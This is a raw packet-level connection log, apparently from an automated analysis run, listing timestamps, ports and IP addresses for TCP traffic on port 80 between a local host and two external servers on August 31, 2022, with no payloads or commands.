Aug 31, 2022 14:28:15.854758978 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.854782104 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:15.854870081 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.054841042 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.055253029 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.055294991 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.055342913 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.055438995 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.055479050 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.055501938 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.055519104 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.055583000 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.055768967 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.055809021 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.055845976 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.055860043 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.098556995 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.098589897 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.098614931 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.098644972 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.098687887 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.098772049 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.098798990 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.098855972 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.098890066 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.098915100 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.098965883 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.099006891 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.099248886 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.099299908 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.140132904 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.140163898 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.140247107 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.140516043 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.140542030 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.140618086 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.140639067 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.140667915 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.140719891 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.140836000 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.141014099 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.141047001 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.141089916 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.183576107 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.340913057 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.340960026 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.340985060 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.341017008 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.341274977 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.341327906 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.341403008 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.341432095 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.341455936 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.341474056 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.341762066 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.341815948 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.341883898 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.341911077 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.341933966 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.341953993 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.341955900 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.341990948 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.384422064 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.384450912 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.384488106 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.384763956 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.384788990 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.384860039 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.384862900 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.384886980 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.384927988 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.385305882 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.385329962 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.385349989 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.385369062 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.385371923 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.385401964 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.385528088 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.385725975 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.385747910 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.385768890 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.385768890 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.385788918 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.385802984 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.425895929 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.425934076 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.425971985 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.426290989 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.426328897 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.426342964 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.426361084 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.426402092 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.426422119 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.426750898 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.426781893 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.426804066 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.426810026 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.426843882 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.426882029 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.427042007 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.427086115 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.427237034 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.469389915 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.469419003 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.469455957 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.511748075 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.627083063 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.627131939 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.627171993 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.627213001 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.627222061 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.627255917 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.627293110 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.627456903 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.627501011 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.627501965 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.627553940 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.627593994 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.627599955 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.627799988 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.627840996 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.627842903 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.628323078 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.628366947 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.628369093 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.628406048 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.628442049 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.628448009 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.628485918 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.628520966 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.628524065 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.628551960 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.628587008 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.670325041 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.670356035 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.670377016 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.670399904 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.670401096 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.670478106 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.670810938 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.670852900 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.670870066 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.670886993 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.670943975 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.670979977 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.671274900 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.671312094 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.671365976 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.671372890 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.671403885 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.671439886 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.671462059 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.671468973 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.671484947 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.671506882 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.671511889 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.671547890 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.711472034 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.711523056 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.711582899 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.711622000 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.711623907 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.711698055 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.711788893 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.711853981 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.711889029 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.711908102 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.711939096 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.711976051 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.711985111 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.712301016 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.712346077 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.712373972 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.712384939 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.712438107 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.712781906 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.755439997 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.755479097 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.755511045 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.797476053 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.797594070 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.912935019 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.913347006 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.913372993 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.913393974 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.913491964 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.913513899 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.913536072 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.913536072 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.913599968 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.913825035 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.913846970 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.913867950 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.913888931 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.913889885 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.913918972 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.914315939 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.914339066 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.914367914 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.914391041 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.914411068 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.914431095 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.914429903 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.914450884 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.914469004 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.914474964 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.914495945 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.914536953 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.955374002 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.955410004 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.955480099 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.955795050 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.955821991 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.955837965 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.955909014 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.997324944 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:16.997425079 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:16.997481108 CEST	49720	80	192.168.2.4	186.182.55.44
Aug 31, 2022 14:28:17.282893896 CEST	80	49720	186.182.55.44	192.168.2.4
Aug 31, 2022 14:28:17.587018967 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:17.751090050 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:17.751265049 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:17.751501083 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:17.751522064 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:17.912080050 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.480370045 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.480402946 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.480422020 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.480444908 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.480494022 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.480534077 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.642342091 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.642375946 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.642398119 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.642420053 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.642442942 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.642513037 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.642510891 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.642538071 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.642540932 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.642549038 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.762003899 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.801157951 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.801196098 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.801223993 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.801251888 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.801361084 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.801386118 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.801871061 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.801906109 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.801954985 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.802042961 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.803291082 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.803324938 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.803384066 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.803391933 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.803416967 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.803440094 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.803453922 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.803497076 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.912251949 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.921541929 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.921726942 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.952157021 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.960391045 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.960434914 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.960459948 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.960483074 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.960566998 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.961004019 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.961069107 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.961087942 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.961148977 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.961173058 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.961194992 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.961230040 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.961941957 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.961986065 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.962042093 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.962060928 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.962115049 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.962120056 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.963042021 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.963133097 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.963186026 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.963217974 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.963277102 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.963296890 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.964255095 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.964319944 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.964378119 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.964381933 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.964407921 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.964427948 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.965112925 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.965145111 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.965188980 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:18.965212107 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:18.965240002 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.081162930 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.081263065 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.081374884 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.081913948 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.083439112 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.083544970 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.112432957 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.120171070 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.120214939 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.120243073 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.120270967 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.120321989 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.120373964 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.121006012 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.121037006 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.121064901 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.121087074 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.121090889 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.121120930 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.121995926 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.122025013 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.122072935 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.122088909 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.122098923 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.122132063 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.123055935 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.123104095 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.123131037 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.123141050 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.123156071 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.123184919 CEST	49721	80	192.168.2.4	37.34.248.24
Aug 31, 2022 14:28:19.124226093 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.124258041 CEST	80	49721	37.34.248.24	192.168.2.4
Aug 31, 2022 14:28:19.124284029 CEST	80	49721	37.34.248.24	192.168.2.4
